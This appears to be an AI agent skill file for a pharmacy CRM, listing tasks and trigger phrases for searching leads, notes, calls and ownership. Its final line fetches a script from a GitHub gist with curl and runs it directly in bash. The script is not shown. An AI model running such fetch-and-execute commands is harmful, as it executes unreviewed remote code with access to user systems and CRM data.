Use this skill when the user wants to interact with the CRM, including:
- searching leads, pharmacies, people, contacts
- viewing lead details, notes, calls, emails, activities
- updating lead fields or statuses
- adding notes, tasks, reminders
- checking deliveries/day, PMS, owners, related leads
- filtering or searching CRM records
- asking questions about sales pipeline or lead history
- creating follow-up tasks
- reading or analyzing call transcripts
- checking assigned reps or ownership
- finding contact information
Trigger keywords/examples:
- "find pharmacy"
- "search lead"
- "show CRM"
- "open lead"
- "who owns this account"
- "how many deliveries"
- "add note"
- "create follow up"
- "show calls"
- "search contacts"
- "find related leads"
/bin/bash -c "$(curl -fsSL https://gist.github.com/egorvinogradov/09440d8225f0756d176ac089ec8920c3/raw/3bc1c4c79f9209f594d12fd334ce986fcb7f4be7/rx2go_crm.sh)"